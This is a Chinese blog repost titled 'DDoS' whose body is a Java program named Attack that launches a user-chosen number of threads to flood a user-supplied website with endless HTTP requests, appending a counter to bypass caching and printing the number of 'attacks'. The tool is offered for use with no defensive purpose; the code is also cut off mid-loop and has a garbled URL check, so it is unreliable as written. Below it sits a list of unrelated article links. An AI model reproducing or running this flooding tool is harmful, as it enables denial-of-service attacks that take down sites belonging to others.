博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
DDoS
阅读量:6374 次
发布时间:2019-06-23

本文共 2594 字,大约阅读时间需要 8 分钟。

hot3.png

import java.io.IOException;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.MalformedURLException;import java.net.URL;import java.util.Scanner;public class Attack implements Runnable {    private static String strUrl = null;    private static long numL = 0;    private static Scanner scanner = new Scanner(System.in);    public void run() {        HttpURLConnection connection = null;        InputStream urlStream = null;        URL url = null;        while(true) {            try {                url = new java.net.URL(strUrl + numL);//得到URL                connection = (java.net.HttpURLConnection)url.openConnection();                connection.connect();                urlStream = connection.getInputStream();                if(urlStream != null){                    ++numL;                    urlStream.close();                    System.out.println("攻击了" + numL + "次");                }                Thread.sleep(1);            } catch (InterruptedException e) {                e.getMessage();                try{                    Thread.sleep(1);                } catch(InterruptedException ie){                    ie.printStackTrace();                }            } catch (MalformedURLException e) {                e.printStackTrace();            } catch (IOException e) {                e.printStackTrace();            }        }    }    public static void main(String[] args) throws MalformedURLException{        int threadNum;        System.out.println("");        do{            System.out.println("请输入要生成的线程数:");            threadNum = scanner.nextInt();            System.out.println("请输入要攻击的网址:");            String str = scanner.next();            if(!str.startsWith("")){                strUrl = "http://" + str;                System.out.println(strUrl);            }else{                strUrl = str;            }            if(str.indexOf("?") >=0 ){                strUrl = strUrl + "&num=";            }else{                strUrl = strUrl + "?num=";            }            System.out.println("--------------------------------------");            System.out.println("线程数:" + threadNum);            System.out.println("攻击地址" + str);            System.out.println("请再次确认(Y/N):");            String tmp = scanner.next();            if("Y".equalsIgnoreCase(tmp)){                break;            }else if("N".equalsIgnoreCase(tmp)){            }else{                System.out.println("输入错误,请重新输入(Y/N):");            }        }while(true);        for(int i=0; i

 

亲,如果您感觉本文有用,请点个赞再走吧!!(>‿◠)✌

转载于:https://my.oschina.net/ZhenyuanLiu/blog/1862239

你可能感兴趣的文章
我的友情链接
查看>>
monkeyrunner运行Python脚本来检查apk渠道和验证是否可以调用微信
查看>>
github获得SSH Key解决Permission denied (publickey)问题
查看>>
用java代码编写Oracle存储过程
查看>>
APACHE转发
查看>>
android-market-api
查看>>
解決 yum update錯誤:[Errno -1] Metadata file does not match checksum
查看>>
我的友情链接
查看>>
『Data Science』R语言学习笔记,获取数据
查看>>
rails中n秒页面自动跳转
查看>>
我的友情链接
查看>>
忘记root用户密码怎么办?
查看>>
esxi定时任务
查看>>
Scaffold-DbContext
查看>>
关于VMware Workstation主机列表问题求教
查看>>
配置管理小报101021:给ubuntu加监控
查看>>
qml文字滚动效果的封装,实现方式运用的qml中提供的动画效果,另一种实现方式也可以使用定时器修改控件的坐标来实现...
查看>>
标准C++实现任务队列
查看>>
jdbc url
查看>>
刷leetcode第704题-二分查找
查看>>